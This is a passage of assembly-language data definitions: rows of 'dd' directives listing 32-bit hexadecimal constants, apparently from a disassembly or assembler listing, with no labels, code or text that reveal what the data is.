6015300Bh, 9773FDABh, 70B80D00h, 5139AD0Ah, 6C57009Bh dd 20FC6D85h, 9D1CAA90h, 0A640DB80h, 0D3F1CE0Ch, 6F98C8h dd 8B97BF68h, 3A9A1036h, 0AA0D0900h, 64D908CCh, 0D1CD2FAEh dd 9100E078h, 0FA353A7Ah, 3C39A298h, 298082DDh, 59AA715Dh dd 99007785h, 8109B14Eh, 0E890AEh, 0B26266DEh, 0E47D2D56h dd 0BF012BE8h, 4A53B3D7h, 5AF8B7F4h, 6CCB00D2h, 63EC9AABh dd 0F5008E3Fh, 4E953C66h, 412534h, 422733C9h, 1A84CB51h dd 80F6F43Eh, 0CE0549F2h, 956D64h, 3FFBCA70h, 0DB19628h dd 1FA76700h, 839BA82Eh, 60CCFCA6h, 0DCE21021h, 48001C4Bh dd 557E89B6h, 3D0E65Ch, 0C0277FEFh, 43B84E9Eh, 0C41D60FBh dd 263054F8h, 33D3F9Dh, 2B0CCDF7h, 0DD80C80Eh, 0FD01A86Dh dd 5929C7Dh, 0F9C8CE9Bh, 442B0151h, 0FF4CA3DAh, 0E0102077h dd 5475600h, 0E86BEB0Ch, 0B0C500A1h, 469619DDh, 150050B4h dd 0D3CF0BD0h, 0CD42180h, 0D251E1AAh, 0C038FD4h, 0F6325549h dd 2CF8D036h, 2A9A00F2h, 11409EA3h, 84007C63h, 99F99479h dd 223DABh, 0C6C89C7Fh, 652CA7FCh, 9FAAB400h, 6C495CD2h dd 577900B7h, 0C3201BFDh, 88C48C1Ch, 31FC8186h, 0AF0AC107h dd 87CD3039h, 46242104h, 0DB0074C0h, 0FED9CF37h, 1E0BE045h dd 800FCD63h, 42468AD2h, 9D006FE2h, 0C806CF8Eh, 0ECE617E4h dd 6E60C094h, 0BE8391BDh, 0AD31DE00h, 0FBE396A6h, 0D2340168h dd 2EDC759h, 0BB118130h dd 48535B63h, 25CED980h, 3A5A8BDAh, 0E0A01900h, 8FD3F050h dd 0EEC700CDh, 6D49C521h, 7C008B6Eh, 2B169EE2h, 5A874Ah dd 4B737B5Dh, 40EE06CBh, 0B0D4370Fh, 0D9FAA2C5h, 5E807510h dd 0E816E70Fh, 0E2C8F907h, 272070B4h, 0E0DE6DF5h, 717300E1h dd 826F6E8Eh, 1D280418h, 8D01F075h, 0C6B1A909h, 96E8EB1Eh dd 0BF7F00A2h, 0B6ABCEFEh, 0FF006A57h, 349F3787h, 0A18D6B0Eh dd 18279C90h, 506ACF48h, 0FA600010h, 0D9196387h, 90A5BE00h dd 0BA5E62FEh, 0C6DA09F3h, 8219DD1h, 503E590Bh, 1C13A4ECh dd 19AAD00Bh, 7AF1807Dh, 28C6D572h, 1EC5A60h, 9A684794h dd 80CD3CE0h, 8BEBD5C1h, 414C458h, 0E694953h, 804085E5h dd 4D7A3A13h, 68769F00h, 847F2658h, 1408FC39h, 0C2EE6C9Bh dd 0AA6BBB01h, 80E6AD5Ch, 140F3338h, 1F401E87h, 92BADA86h dd 0DE9C0148h, 80242FA5h, 8DD9D429h, 3F8A01h, 0E7C46260h dd 9C2609B0h, 710B8301h, 957E064Bh, 0C9C42021h, 6ADD027Bh dd 0DA027592h, 0D5102C48h, 93C7CE01h, 0FA30F5B2h, 0FE853A30h dd 0B42D26DAh, 7646005Ch, 0F5210A4Eh, 69D53A00h, 0BB22E7F9h dd 579A0044h, 0D7BEE05Ch, 8900300Eh, 0B8C6FAA8h, 0AED585h dd 0A0318D36h, 3FE8C92Eh, 0EABCED00h, 7658B250h, 5975077Ah dd 0C79A0Bh, 1CEEC2D2h, 7311DA01h, 76F16F48h, 0C860F4h dd 218A2468h, 79C41AE7h, 908BD000h, 0A1FC549Bh, 5E441220h dd 1B44F91h, 0BD0C8D49h, 3238C630h, 1810033Ah, 6932025h dd 0A1EE43F8h, 2AE6203Dh, 0FF645603h, 81086D9Bh, 2980EC83h dd 92781B3Eh, 3100CA7Ch, 0B2A95072h, 1C6D9962h, 53AF7B77h dd 1C930037h, 5D44B95Ch, 405C2060h, 302F862Eh, 61999398h dd 0FD1CF23Fh, 0E3C92CFFh, 4E183056h, 0B5AA00EAh, 0A16A62BBh dd 0F03C4121h, 7C2D800Ch, 0B45CB053h, 0F1E8A83Ch, 425B010h dd 0F2978AE7h, 0B76880F5h, 1D6E696Dh, 8F098018h, 254A295h dd 0D903DCE0h, 6840E31Bh, 610EAD0Dh, 40CE86BDh, 0FCB69104h dd 369B0044h, 0D66F198Bh, 3D52AA74h, 0A913A24h, 0D34D1672h dd 0C25FBA02h, 0BB7FE055h, 0AA4A00B6h, 0DC2F9C52h, 542CA3D1h dd 7300545Fh, 0C3D88C3Ch, 65C91C68h, 408E1D0Bh, 50CCFD84h dd 8C30296Dh, 80E4C0DEh, 0A032B0CEh, 76C2478h, 1B3F6E19h dd 28C6F04Dh, 0BD0A1377h, 982C1748h, 66BF2907h, 0CF5DF511h dd 8738FC50h, 88F41CCCh, 536400CBh, 0A47F811Dh, 6A25EC00h dd 0A85678ADh, 91D97E95h, 0C3AB8820h, 286C52h, 3FC814BDh dd 0B40C9BF8h, 0F1EB7600h, 81E6C0E2h, 38870058h, 25EE7733h dd 5A288DADh, 8526A441h, 7B805C5Eh, 5B069A9Eh, 89B00FDh dd 0C59FA329h, 86FAB424h, 0E17BD703h, 0DB04F2C6h, 87879E0h dd 3D06103Fh, 41344982h, 0E8044B6Fh, 0B21329h, 0EE8D67D5h dd 0EE4A53Bh, 0AFC2FF00h, 0D33AC4Ch, 16B27AD2h, 40807A55h dd 4FB9529Ch, 0C9F0A037h, 7800087Ch, 3E14570Bh, 4D12ADE1h dd 0F100341Bh, 0B944FEBBh, 0E700A93Fh, 0C07FC2DCh, 135315h dd 7B72FB23h, 272C8A19h, 4735D400h, 7AB048DEh, 56551853h dd 9CD610FFh, 3430AA07h, 799088D5h, 153D2F22h, 94703BD9h dd 9FC0528h, 86B01BDBh, 47F81000h, 3C005A30h, 0B641A71Fh dd 58174A7Eh, 73039C42h, 0BCF6AD62h, 8084113Eh, 0E2D7E31Eh dd 0FCDCCD4h, 0F3F2C5EEh, 87F82580h, 3F2C5C30h, 0C21D347Fh dd 0FC0ED940h, 17B8863Bh, 0AED343h, 92C0A4F4h, 8F00C369h dd 489F7F50h, 7AC90Bh, 0F53ECF84h, 0B5407D81h, 3CDED600h dd 3B46B672h, 0AB4800DCh, 0A905193h, 0D107F657h, 0B59D379Eh dd 8494C8A0h, 0A0DB00CBh, 8D5AF34h, 0CD002AB3h, 3E9F5D05h dd 0BA7F38h, 83047BE4h, 91F1E251h, 0F845BE00h, 0A7695711h dd 4A75043Dh, 0A0D9420Ah, 0E2021AA0h, 793930E4h, 57F0A0B5h dd 9D0EA2h, 0D912B0EEh, 43C88CAh, 5C48862Ch, 0E58A4D87h dd 30A49E91h, 0EE8864h, 930F10C7h, 850B9965h, 17743259h dd 0EF00084Ah, 0C5D8EF78h, 6DC90041h, 0CA0B5DFCh, 0DD009447h dd 4B74F4AAh, 3BAFEB8h, 0CC4A421h, 0A8C6E5B1h, 0C8938513h dd 8ABCF440h, 0B3F6C768h, 0A4ACC8h, 6C638B96h, 0EC0B17ABh dd 0A0A44AB2h, 3E945F88h, 61461286h, 875040D1h, 0B3D6CD6Eh dd 94651D00h, 0C8A82080h, 0C6B15C14h, 2B58B600h, 8777A356h dd 0D1768630h, 240CFCC7h, 80A0AD0Eh, 7F8F75EFh, 2E2CF595h dd 92033C31h, 0CF83BA25h, 724B2F30h, 4A66072Bh, 20A907EBh dd 0F6770A5Ah, 0F050D9EEh, 0C3015CBCh, 0B6B5C7FFh, 0DC217630h dd 0DF0C30h, 2D05D681h, 0D7CDFED1h, 21E7AC00h, 1D86B4A3h dd 2C70E6BCh, 80CCD030h, 53BF642Bh, 0EF98118Ah, 24C2FE00h dd 8E0876C9h, 3CBD139Eh, 7D20077Bh, 0DF1790FAh, 0C38FD47h dd 0EB4D0206h, 62F3E1D9h, 2E10589Fh, 49548AA6h, 0F7BA2498h dd 204B34Ch, 5E61CF8Ch, 6E38EAB1h, 6C4F13C8h, 0AC000C3h dd 5AC97D4h, 0E2424B00h, 0EFF181D6h, 0C6DF02C8h, 0C1609AC5h dd 0FEAAF882h, 0F180A465h, 0E4C591CCh, 0CBDD0053h, 0F9825E32h dd 4C25BD8Eh, 5C581095h, 0D1802E1Dh, 3F102A3Eh, 898CB520h dd 0C5C16310h, 0BDAA3A00h, 4A4F0B72h, 189760E5h, 38641488h dd 0FA77D900h, 55683E1Bh, 45041D6Dh, 0C989C01Dh, 0CEEC251Ah dd 78473800h, 8D562687h, 3C9F00AFh, 341D0779h, 0D500E275h dd 59429A4h, 0A3E4D9h, 6787C48Bh, 0EF6E737Fh, 1E6AF000h dd 0D954A068h, 0A2221E99h, 0CC340FAh, 4FB4D89Eh, 0B62EAD0Eh dd 86F8A00Ah, 1BFEDC33h, 0D8FC8201h, 0D3409288h, 7DB6FB00h dd 6C2D66A8h, 52811B43h, 8ACAD09Ah, 532F7848h, 1560394Ch dd 158C2363h, 48885ACDh, 12858B8h, 0A46E4412h, 0E130C7A3h dd 0BDFF22Ah, 0B70FD7AAh, 0AC0D5D00h, 8803843Ch, 2F483DF6h dd 0DE9AB84Ah, 697AD8h, 0C8F31794h, 0C5721B6Eh, 74E27300h dd 0B93E0E70h, 0AC1D00A7h, 10E5575Fh, 0AE01B572h, 4E555D2Fh dd 5E4567Eh, 71743E47h, 9B086A80h, 0D0586CE8h, 1A9A5013h dd 0DC02F807h, 1BA61370h, 76200AEh, 0A7416EFAh, 0B500F226h dd 82D04587h, 2C0E59h, 0B94E818h, 531021F7h, 470028F6h dd 37AE355Bh, 2631E5B8h, 1DE0D463h, 0C040D23Ch, 297C481Ch dd 2E92BB00h, 5201884Ch, 0C1450253h, 0BD0F7042h, 0F0E85C61h dd 0F500BE25h, 6BC51863h, 0F033C6Eh, 0DDD3EF8Eh, 1AD5E920h dd 4400BF70h, 8DFA236h, 21B43Fh, 0A960825Ah, 4D37641Eh dd 43716800h, 63304EF7h, 0D37AEEh, 0FF07D8Bh, 9C292360h dd 52265903h, 0E8CA38FAh, 0A823F0Dh, 80203961h, 0B19C02E4h dd 0CCC1AE53h, 9590D333h, 7A00F21Ah, 8E45691Dh, 4C529FA8h dd 0A048CA3Ah, 4D862900h, 6454A1C8h, 195FCF00h, 24FEB4ABh dd 970B24A0h, 2FD4099Ah, 0F2DD3880h, 0C000C892h, 0EAAAB1B9h dd 0B4E96Fh, 9DA2C3E0h, 18CB737Bh, 0CFA1CD00h, 5DB2FC5Ch dd 672200B7h, 5E72A54Ch, 643C119Ch, 0DABC0014h, 0DFDB28E4h dd 37A10778h, 0BE867DB5h, 0F3FB19E0h, 0A600B724h, 4ED43D11h dd 1E8894AEh, 79EA0BDh, 3067FA48h, 7F3943BBh, 0C20FC300h dd 0CFA2FBF5h, 4932004Ah, 7BDB488Fh, 0F91DB3EAh, 0E7403A11h dd 61EFB099h, 30D75854h, 4213DD03h, 47F05365h, 51009C7Ah dd 0BC7C1AA5h, 7D7240E2h, 27A01D9Dh, 70898073h, 213452CAh dd 28B26100h, 6EE40A0Fh, 6C7A1690h, 44C4009Bh, 0DDF2A834h dd 97FEA001h, 136025AAh dd 1FF05231h, 0E2FD09E6h, 9A00353Bh, 0B490767Fh, 0A1F538h dd 80FEEB5Eh, 0BD6E799h, 4DF34A65h, 0AAD0C021h, 698770A5h dd 0BA899F00h, 1AE9D8A7h, 54720307h, 0B49AE1FAh, 0F5927FC0h dd 7BF65201h, 296B0D8h, 3A33A880h, 3FD3C4BFh, 8AE76700h dd 0CB49F1AFh, 70715826h, 0D7D0B61Dh, 227840F2h, 112EF7C2h dd 3CCD200h, 3A8AFA3Eh, 5CB8CEh, 5554025Bh, 6525A0B8h dd 1B247E00h, 2C26EF27h, 0A8F513BBh, 0E80F006Bh, 1D5A9B6h dd 0E91D9AF6h, 1D008F06h, 37936335h, 51320F6Ah, 444B803Fh dd 9703D490h, 0CD5E8801h, 0D6A8D174h, 3C9AB8C0h, 0CF03A0E8h dd 0C61C8723h, 13148085h, 0D206AE2Ch, 0E3B39A81h, 1D0000Eh dd 91778E0Ch, 801F069h, 0A5CD4BC9h, 51D0ADB4h, 8C75B0h dd 4A2AF217h, 1BFED039h, 96BE1800h, 20FCED16h, 78C603D7h dd 9E84A71Ah, 0A5ACA1B7h, 0F842F83Ah, 57D083Dh, 0D436D25Ch dd 710DB0D0h, 63B807h, 49826B4Dh, 0E4EC94AFh, 7C045Ch dd 0F841B825h, 3756CFh, 39706D4Eh, 0C455744Dh, 977C83Eh dd 80724F0Fh, 5944216Dh, 7B9A0732h, 0D005BC58h, 82B557A0h dd 780C71C1h, 33D8A422h, 61160051h, 7B12EF4h, 749E3F24h dd 1829560Ah, 424A6800h, 0E8BD4FD9h, 0A7D3262Dh, 454E0FB0h dd 0E66D6080h, 0E8798E76h, 659A600h, 0B10FC524h, 4C2F18A9h dd 0CCF62854h, 4F921201h, 0B65707B4h, 0B06D3043h, 4857576h dd 472BF9Ah, 0C2041E17h, 0C0FFEDB0h, 0F6CEE62h, 7282F79h dd 58005427h, 67988110h, 2299971h, 979570C3h, 308ED1BBh dd 9851138Ch, 9970D700h, 0C4ADA177h, 0DFE000C0h, 645DCF4Dh dd 2400CD33h, 1A2FC278h, 0C1D60EADh, 97D14D40h, 96045B76h dd 978754CAh, 25C1C2DBh, 52D63460h, 4444728h, 2F7A8998h dd 2ED1481Fh, 311C8094h, 0A441D8A5h, 40808ADh, 0E218B020h dd 0C3035E93h, 118C0D4Dh, 47D110C6h, 0D5506575h, 4CCE180Ah dd 0A6694C9Bh, 0E1A08B78h, 1C437A55h, 108961C8h, 594ECCAEh dd 0CA101750h, 853B860h, 0D6000442h, 2F285D4Ch, 81DE86D2h dd 6811C974h, 5F808728h, 832B40Ah, 9A0CA34Eh, 1F291453h dd 5324C4Dh, 409BFA20h, 0D2502CC5h, 74570801h, 544222Bh dd 5301F6F4h, 4000EC29h, 4F6C2CC0h, 0FBF896A1h, 1008B568h dd 0C1D70421h, 8AD8EAEEh, 0B4ADF610h, 1C07DB40h, 0EE400004h dd 20E36BEh, 0AF21E28Ah, 588738E9h, 0B260C838h, 2820D753h dd 0CC4125E9h, 8E69E438h, 0CB597260h, 0C0E34201h, 512AEF48h dd 8E00C30Bh, 300E96D3h, 920CED75h, 12E40690h, 116E6246h dd 94A49A09h, 2F2C8F3Ch, 69346C3Dh, 6073E251h, 0D19B48D5h dd 0F4034F93h, 21F60690h, 987EEFC2h, 1CE680h, 0C7B830Fh dd 0D074D3ECh, 2479327h, 0E191239Ch, 0FAD02458h, 8608DF6Dh dd 0C14A8EC2h, 0D66C48C6h, 3C849008h, 22004212h, 50F5F808h dd 3C03D4F9h, 0D5D04534h, 0A8C3F3EFh, 4D7DD2h, 0FE6DC6Dh dd 92DFF4B4h, 0C1D9786Eh, 0CCE9F51Ah, 0FC3EB050h, 0A0324D09h dd 935DF400h, 0A2BD9A76h, 0E4D049h, 60EEC67Ah, 0FC91D1CFh dd 39C906Ch, 50D47D55h, 294007A2h, 5331B6D0h, 79F411E9h dd 17D6C30h, 6B7E8402h, 0ECAC4340h, 0E5036585h, 5350867Ch dd 0E1F16649h, 6F5808D8h, 835425ECh, 0C3440578h, 2AAAD85Fh dd 0B0BA3FD2h, 647E538Ch, 1D03EC21h, 0A6E6D076h, 81A10A7Bh dd 14B4C2FAh, 0D712ACFBh, 50F80341h, 0AC98B499h, 0E650DA40h dd 0DD125298h, 2C50DB53h, 110A6A8h, 0EDF1851Dh, 92064AD7h dd 384C7A7Ah, 0A7DF1D1h, 5C87171Fh, 0CE3459B8h, 0F0102D19h dd 0D2800C2Fh, 0A5F600EEh, 0FF094DC2h, 780EB79Fh, 0A3B43013h dd 840C97CEh, 21062082h, 41CAD950h, 0DC87CCA4h, 47000EF4h dd 0D59E5D2Dh, 1EA39497h, 15C6A54h, 0D3B95FD0h, 0F610F4D1h dd 0DD13FE07h, 16804320h, 50E428ADh, 9E93A08Fh, 4A6E83ECh dd 0C9285901h, 2D59905Ah, 29B840C8h, 0E4240189h, 0FBF93A55h dd 8C50DC0Ah, 0ED8A0A4h, 0A40576D1h, 8C145E9Ah, 8F4E020h dd 3DA763D8h, 0EF670C24h, 5FE04059h, 906C7CACh, 303A4818h dd 0A25701A1h, 8C0A8859h, 4C754B7Ah, 5311FA10h, 12C06684h dd 0DC7744F1h, 0B58A4200h, 29C96151h, 6D101ABh, 0FDF325A0h dd 83804366h, 0FC4D4100h, 0A5427AD0h, 0B10C638Fh, 2921FEF4h dd 0D00A3DD1h, 93CCBAFh, 8805E40Bh, 3D58236Dh, 30CE6BC1h dd 48A40327h, 97DC4B0h, 3F83F0A0h, 4A9C3C0Eh, 80C5EC54h dd 0A2D18A1h, 4DE6B0CEh, 60E8A532h, 406CC0CDh, 0F72FA3Ch dd 4BB4AF47h, 0E479B09Dh, 0D718EB1Dh, 0B3717598h, 0A8BE0AB7h dd 62B09D53h, 1804D61Eh, 0F9938858h, 0E4D97A2Ah, 9D780F07h dd 4B47E498h, 994ED4F1h, 0B7C570h, 0F825790Dh, 50DD69E8h dd 8D8D4CB6h, 8C0C1058h, 7325057Ah, 0B48F6D9Ah, 41034E44h dd 0EFD1226Fh, 29810464h, 808179A4h, 25409344h, 47007BF0h dd 0C04B2CFEh, 0D47DA2A3h, 0E23EC841h, 0EC453603h, 0D9C07C8Fh dd 0D2ECB828h, 4E145A72h, 1098E3F5h, 20002D32h, 3FC6500Dh dd 4B16B710h, 4C4076E4h, 0FFB9512Fh, 0A3D37881h, 1B6D9848h dd 55E000C6h, 56E10157h, 9C61F5BAh, 51B62520h, 32001032h dd 0E7BE7807h, 1C79D2CFh, 88146E5Ah, 0BFC20070h, 6B0CC3E0h dd 0AEBE18B1h, 84CF39A2h, 0A3765400h, 919655A4h, 0CAC6001Eh dd 0F87C4C68h, 0C7A07B24h, 0C0DD3667h, 591118C0h, 3C6ADF13h dd 161E6148h, 96B20F57h, 50EE5F62h, 0AEDAC320h, 534009Dh dd 0FB5A60A6h, 32002B18h, 0B3D256E8h, 895B58h, 3F398114h dd 97337B17h, 0BEC3F507h, 7620464Eh, 3AB840B5h, 0B000C8D0h dd 0B99A50AAh, 4209F3D2h, 80530F2Dh, 3F027CE4h, 4B01Eh dd 0D8886D50h, 51E8150Bh, 64917A0Eh, 0AC3204Fh, 7CCC765Eh dd 9A5A00E6h, 260C4DE5h, 0FC01EDE8h, 0BDB6BC36h, 0B3F09010h dd 0D4E4F13Bh, 0D1F0EEh, 0A419D2A6h, 57E80332h, 0E76F3A0Eh dd 8DA10173h, 18835A5Eh, 39CEAC4Eh, 0ECEA500Fh, 4B888057h dd 0C05835D3h, 466B6CFAh, 0DA58BD80h, 0A3550F97h, 2E57801Ch dd 1D9C0123h, 0C360E7B0h, 9652340Bh, 9DD311C0h, 0A282767h dd 0F772A850h, 0ECE70C5Dh, 0A318BC05h, 88D9D462h, 0F70498E9h dd 0F4400FDCh, 0AC08A65h, 19E2B7BCh, 0B842D8C0h, 6DCADh dd 11550C4Ah, 7D383447h, 0DF502770h, 0F4076C8Ch, 0DB901AA8h dd 211130C0h, 7689015Ah, 92D50877h, 294CE850h, 0B14E6805h dd 2803D313h, 2884C2D9h, 74C0E819h, 90B80AEh, 0A91FD830h dd 5377A312h, 9B046050h, 0C3C53FD8h, 0A822BC5Ah, 0BE57025Eh dd 0B14DC331h, 39C0908Eh, 73AD511Eh, 2D21C40Ah, 2602480Bh dd 903D5A4Dh, 0A80BA47Ch, 0C1591D08h, 6C3A7A79h, 3FF18249h dd 0A77CC67Dh, 1F32BC84h, 0E4CDC074h, 0D30F06CFh, 910D9E98h dd 0E0C19621h, 7E127DDCh, 65D448C1h, 0C983A7ABh, 8BCB9FDDh dd 21642080h, 0E114A20Ch, 6D18148h, 0CC3B516Fh, 6C303157h dd 0E26BFA3Ch, 67490C75h, 14587F88h, 394D7935h, 0E678EB00h dd 5422D897h, 5139406h, 0E4FF1FE5h, 8B8C016Fh, 0EC39F516h dd 0B81564DCh, 38BC5EBCh, 89B91F43h, 5F8A11F0h, 4D6D20EBh dd 0DD549402h, 4E252Dh, 0B9361AC9h, 385C7F3Eh, 1FD7853Bh dd 0C050C20Fh, 118878DCh, 1E641F65h, 0B67C2ECh, 0A08CBE3Dh dd 0C8FED948h, 4E52D24h, 987B269Eh, 6E99C02Bh, 10D4A8B8h dd 0A9B600B1h, 0E8149AA8h dd 0C744A5D2h, 55E43A94h, 56CB3C07h, 50AAC711h, 17138798h dd 9A0EC812h, 4066CC4Ah, 322F57F8h, 6D684EC0h, 0BB4091h dd 31E8085Ah, 9118A404h, 60AF080h, 64400341h, 652FBCB9h dd 4FD02058h, 810A8754h, 95F91BCh, 2C93F3Ch, 689511E4h dd 2BDC360h, 1078EBB9h, 0A4A0BAD3h, 338C0ADBh, 0C10834Dh dd 190DBDE4h, 8A1C9910h, 81849EBh, 0D092DE8h, 17149294h dd 0CA81F504h, 0FCE512A5h, 123702C4h, 0E8EC6CDh, 35ECDD78h dd 39183829h, 0FB1802C8h, 0C403E9B0h, 0CB9198E0h, 0BEB5BF03h dd 0FB35052Eh, 5271C8B1h, 496E30C2h, 0D4163169h, 0C0381C03h dd 8BD0082Eh, 4825A22Fh, 0F8BC8h, 0A287BD4h, 0A3CA1C3Ch dd 5EC29D06h, 3971B47Fh, 51E00C68h, 4754C6Ch, 80973E00h dd 0DEDA4546h, 57E2004Eh, 0B31FA183h, 0E003769h, 0C5C6F250h dd 9A8BEB6Ch, 62110028h, 0FAA0C205h, 4138957h, 40FFED9h dd 20DD8451h, 1D7A57C0h, 410A0070h, 0C512A4C0h, 8A3077F4h dd 651691B1h, 0FAB20079h, 0F207E34Ch, 0C4078039h, 0E2120290h dd 0D9091C10h, 0D4DC1C1Fh, 726AC235h, 8CB0F852h, 1E08D3C0h dd 622FD038h, 91005B6Ch, 2A12D401h, 79CC89DBh, 0E35E1C5Ah dd 85D1DF85h, 0C168FBA4h, 10552A0h, 0E9BD92EAh, 4AFD0280h dd 75747126h, 0D1205909h, 0F608BDFh, 78556186h, 90E99A03h dd 7B3A8051h, 136EC4h, 8353DB41h, 0CB5CAACFh, 3C000092h dd 3DA7CA2h, 9E6271h, 61E99B1Eh, 0ACBC3A21h, 8E739204h dd 88CA5AFh, 31770CF8h, 989991EBh, 599A7800h, 44150AECh dd 0F1950054h, 81CAC668h, 77001865h, 6EECF2Ch, 1334AA1h dd 54E30FE1h, 22BC85A2h, 9C1B0040h, 88FB8C07h, 0C56A0362h dd 8DEAD358h, 9B2D6900h, 0AEF3F4B4h, 0FDBE0085h, 0C5B390CAh dd 39EE20F9h, 8851DE24h, 7B87EB80h, 0D113A97h, 13765D90h dd 2433F569h, 80070D84h, 5946632Ch, 36A5DE50h, 0E9C102ACh dd 6B222EC7h, 56CECCE0h, 99FCF501h, 5B226E8h, 0C7284980h dd 533A7814h, 82E33C07h, 604633FCh, 21F10021h, 80B6400Ah dd 7302A4ACh, 87D38D3h, 0EAD04162h, 0F5006022h, 0B24116D9h dd 89002BD7h, 0D06C58A7h, 60FAC4AEh, 47AC517Fh, 0F503CD08h dd 56803445h, 0CBA3F88Ah, 86E500B2h, 6C04F63Eh, 2D033C92h dd 4A6F145Fh, 1241BEDDh, 334E3E88h, 56B2672Ch, 5E5FE900h dd 0D8B302E7h, 3A45942Ch, 48D68049h, 354AFEA8h, 5A54E420h dd 414CD873h, 4B01B46Ch, 63B7FF6Bh, 38D88595h, 241435BCh dd 6202830h, 7CD97B00h, 98E309EEh, 6BF3009Ah, 5160CAC5h dd 4004771Ch, 0D424378Bh, 89BC54C8h, 8087E034h, 1261D63Fh dd 0B5C030CAh, 0B04AE1BEh, 20C80AD0h, 3C7C8359h, 9AD27707h dd 367B4070h, 3E6AF5BCh, 5E08E098h, 0D3F2600Ch, 0A0463820h dd 0EA4E310h, 1D41B97h, 0A28E1339h, 36E589C9h, 0F58D6980h dd 0BB46BF06h, 0B08CF000h, 0A23D2CE5h, 22B30EB4h, 0F4804D02h dd 13841A67h, 0D02BDD3Ch, 0B3BBD6Ch, 0D58E80CDh, 0FF2AA61h dd 3AF903D3h, 8A7A561Ch, 1AA04383h, 388050B9h, 0B078BAD3h dd 709F0068h, 6832E376h, 1A300277h, 0EAA99CCh, 0E53D00EDh dd 746D09A0h, 8E007884h, 7E6635A9h, 2B6A3F4h, 3F2D033Ah dd 8C82433Dh, 0C9180DBFh, 382308D3h, 0E6645168h, 0D4669C40h dd 1505CA9Dh, 0C33934E2h, 20ADDC22h, 0D6C8B726h, 920088FAh dd 69283D15h, 59D37177h, 71B83073h, 9000B977h, 0D62EB812h dd 42D85E06h, 0A23D7CADh, 373F7D82h, 77C5848Ch, 44A493D5h dd 70D9483Eh, 6E920880h, 1A0F6420h, 8C221590h, 79BC29E6h dd 0C40351C3h, 49E0B9CDh, 9B38C7ADh, 58EEC377h, 288C05C1h dd 9004C10h, 60024C82h, 64C1DD70h, 839A58ABh, 5900308Ah dd 5A4E78Ch, 0C1942E40h, 0A9EE9B38h, 77782C03h, 80784877h dd 4C8848C0h, 1FEF816Fh, 8AAD2290h, 4718E1ABh, 63F0F011h dd 3930D0CDh, 0CA4E98Fh, 0C7DA0E97h, 6C203DFFh, 35F686C9h dd 3842EB1Fh, 0AADBE4C1h, 0C3031C6h, 3A4713Ch, 11D4AEE9h dd 8CB3C507h, 0B65C801h, 0E090EEF0h, 5914B88Ch, 1A0A52F1h dd 9C16877Eh, 4402E711h, 0C1EEA555h, 700050E4h, 78C2CAD9h dd 10E88B6Fh, 610115Eh, 556CDF5Ah, 7777729h, 0F9ED3A13h dd 0B11A51A7h, 0B8A2108Fh, 0DBFC00CEh, 6978ED66h, 0A600D16Eh dd 13A44A92h, 677E815h, 8F7CDDD9h, 0D2041038h, 0CF80894Ch dd 100600AFh, 91709061h, 0BE685E03h, 0C0921AD2h, 121C73FCh dd 40E9D874h, 0D0337FACh, 1500B266h, 0EB77EAFh, 0DD38A0h dd 6440656Bh, 8350F8EDh, 5D2A8C00h, 0D8F6F56Ah, 22A098FEh dd 0DA001FCAh, 952C4F18h, 30D00919h, 0B9D102FAh, 57653789h dd 3C01D928h, 130FA93h, 383DEE8h, 0CA6AE245h, 6DA13A50h dd 9E31BF36h, 2701C39Fh, 0F2C069B6h, 929A8F4h, 11B87A37h dd 0FBD1A810h, 820DB30Ch, 0EC0F1053h, 1A9A00F6h, 0AAC31C40h dd 0CF4E302h, 212DC200h, 57A6017Fh, 189902ECh, 0DBE8291Fh dd 6E4414C0h, 0EEE61D0Eh, 15AB814Eh, 8C601F19h, 0F5907CDh dd 624464A9h, 50E38C3Ch, 57B4411Ch, 2A45D080h, 7652781Ah dd 207D015Bh, 40E41953h, 494881AFh, 225A81E2h, 0ECF84161h dd 84E6F2Ch, 99494898h, 79005AE6h, 6046AEA6h, 98ADF325h dd 0E92D3955h, 522E0280h, 3A19030Fh, 1400DD98h, 0C8B58D5Ch dd 28335ADFh, 0A4C7D77h, 8E19A449h, 5AB74040h, 17463808h dd 0B3217030h, 0A0005A61h, 7E7C0E0Dh, 203D32h, 0F1073FA8h dd 0E1F44903h, 0B5DFAF0Ch, 5C8F10EFh, 7160251Fh, 2CE77902h dd 2E8E0E09h, 5E19847Dh, 9720D5C1h, 8D2BB880h, 0BDC24423h dd 16A43F0Fh, 739D4486h, 0B2AA871Dh, 6FECD04Ah, 2F0FCCABh dd 2063B605h, 0C1D03A80h, 4D2C39FBh, 0DB198180h, 3D668EC0h dd 8C305500h, 0FDDF4AA0h, 18DDEA16h, 10927886h, 0B100B4F7h dd 3E068AF2h, 3C04EC75h, 0F100FE5Ah, 1AC0D8BDh, 0FA1ED9EEh dd 0D600BB0Bh, 0C69737EDh, 0FF1E076Eh, 4021C975h, 0D88A405Ah dd 843B39h, 65C01BDFh, 74746A7h, 0EC596AEBh, 1AF6C07Bh dd 4507B7BBh, 4EDEE058h, 0EF42BD90h, 0C060DD7Fh, 40BC8DBAh dd 1D07F019h, 1FBEDFFEh, 8B9143h, 0BC97CC20h, 3C075D85h dd 6CDAAF00h, 4113C7F9h, 69E2C12h, 0AB08004Ah, 0E6FFDE0h dd 0E3F25E00h, 88A8A5BBh, 0B3323806h, 0D431880h, 5C372B59h dd 16838E00h, 799C6DE6h, 13CA3C5Dh, 8FDECC9Fh, 6880B888h dd 96C42B89h, 0F3008FE0h, 0DDA3D691h, 7C8BE70Dh, 0C8C3004Fh dd 4578604Ah, 0FB006630h, 0CB7A489Fh, 6850DFh, 2FD943AEh dd 10F061D0h, 80C6F803h, 0E88AEBB0h, 4026F3h, 4C7F5CCAh dd 0C2969C8Ch, 3857B800h, 377EB910h, 0FBE13FDEh, 881DA500h dd 0C19D5BAh, 743DE2EEh, 0F7300F2h, 5EA6376Ah, 76AC0001h dd 0FA85362Fh, 0CB00AF95h, 788B2D88h, 7AE0DFh, 82ECFE4Ah dd 75BC12BAh, 0B8553Fh, 0F7345401h, 7B406DA2h, 174100FBh dd 0C95F5AC5h, 5D005BF1h, 0C2CEFFDBh, 1635E25h, 0E4EE8FDFh dd 0E4A3CC06h, 500107Bh, 54175841h, 7B0B1F62h, 0C7277C16h dd 0B0716D10h, 8386A46Eh, 0D54CDE19h, 31807008h, 2C687967h dd 7E00906Bh, 22E48029h, 0CF0A126Dh, 78895B20h, 1C8A7F01h dd 0B5877029h, 9C3AD4F8h, 80CD3150h, 5B10137Eh, 6E0C7051h dd 20BC8404h, 0A270143h, 0BF77AE81h, 0E50ECC7Ch, 0AD310360h dd 8E7A71h, 1AD6874Dh dd 0DC6CC70Bh, 0D0B65501h, 68088109h, 0F5213883h, 